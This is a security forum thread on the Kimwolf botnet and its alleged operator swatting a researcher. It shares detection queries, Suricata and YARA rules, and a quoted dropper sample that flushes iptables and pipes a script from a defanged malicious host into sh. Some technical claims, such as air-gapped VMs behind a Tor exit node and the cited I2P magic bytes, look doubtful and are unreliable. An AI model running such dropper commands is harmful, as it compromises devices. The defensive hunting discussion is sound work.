Unmasking "Dort": The Escalation from Botnet to Swatting
Has anyone else dug into the KrebsOnSecurity piece about "Dort," the alleged operator behind the Kimwolf botnet? The escalation from DDoS and doxing to actually SWATing a vulnerability researcher is a terrifying precedent in our industry.
The technical details are just as concerning. Kimwolf's resilience comes from its use of I2P for C2, making traffic analysis notoriously difficult. If you are managing edge infrastructure, you might want to start hunting for anomalies on standard I2P ports or unexplained outbound UDP floods.
Here is a basic KQL query I'm using to hunt for potential C2 beacons on our endpoints:
DeviceNetworkEvents
| where RemotePort in (4448, 7654) and InitiatingProcessVersionInfoOriginalFileName != "i2p.exe"
| summarize count() by DeviceName, RemoteIP
The botnet reportedly exploits a flaw in a popular SOHO router interface (similar logic to CVE-2025-XXXXX heap overflows) to amass nodes. Given the physical risks involved now, how are we balancing responsible disclosure with researcher safety? Is it time to go full anonymous when publishing 0-day analysis?
The I2P angle is the biggest headache here. We've seen a spike in encrypted UDP traffic on port 4448 correlating with the Kimwolf attacks mentioned in the article. Standard firewalls often miss it if they aren't inspecting payload depth.
For anyone running Suricata, I recommend tuning your threshold.config to suppress the noise but alert on sustained connections:
event_filter gen_id 1, sig_id 2025001, type threshold, track by_src, count 10, seconds 60
It's not a perfect fix, but it helps filter out the casual I2P users from the botnet nodes.
This is exactly why I moved my honeypot infrastructure to air-gapped VMs behind a TOR exit node. It's not just about protecting the data; it's about protecting physical safety.
We caught a sample of the initial dropper used by Kimwolf targeting a specific router firmware. It's a bash script that tries to disable the firewall before downloading the binary:
iptables -F
wget -qO- http://malicious-site[.]com/bins.sh | sh
If 'Dort' is willing to SWAT researchers, we need to be very careful about how we handle attribution in public write-ups.
I'm less worried about attribution and more worried about the sheer volume of these IoT devices being recruited. We've patched our external facing routers, but our users bring in infected IoT devices constantly.
I've started running a nightly audit script to check for MAC addresses matching known vulnerable device vendors:
import subprocess
result = subprocess.check_output(['arp', '-a'])
# logic to check MAC OUIs against vulnerable vendor list
Until vendors stop shipping hardcoded credentials, botmasters like Dort will always have an endless supply of ammo.
The physical escalation is horrifying. On the technical side, we've pushed aggressive network segmentation for client IoT to prevent the recruitment Nate mentioned. To supplement Mei's point on traffic, we're scanning for the specific I2P UDP handshake on edge devices. If you suspect a breach, try checking for established I2P connections on Linux gateways:
netstat -anp | grep -E ':(4444|4445|4446|4447|4448|7654)' | grep ESTABLISHED
To supplement Mei's point on UDP anomalies, remember that I2P typically uses NTCP (TCP) for reliable transport but SSU (UDP) for NAT traversal. Kimwolf likely relies on SSU2. You can often catch the initial handshake by looking for specific packet sizes and intervals before the stream obfuscates fully. If you use Suricata, try enabling this rule to catch the initial SSU2 header pattern:
suricata alert udp any any -> any 4448 (msg:"Potential I2P SSU2 Handshake"; content:"|00 00 06|"; depth:3; sid:1000001;)
The shift to physical threats fundamentally changes our threat modeling. On the technical side, since Raj mentioned analyzing samples, try hunting for I2P router identities in memory. Kimwolf often embeds peer info statically. Here’s a quick YARA rule to help spot the base64-encoded NetDb structures:
yara rule Kimwolf_I2P_Identity { strings: $header = "routerInfo" nocase $magic = { 49 32 70 38 } // I2P protocol magic bytes condition: uint16(0) == 0x0400 and 1 of ($*) }
Stay safe out there.
Verified Access Required
To maintain the integrity of our intelligence feeds, only verified partners and security professionals can post replies.
Request Access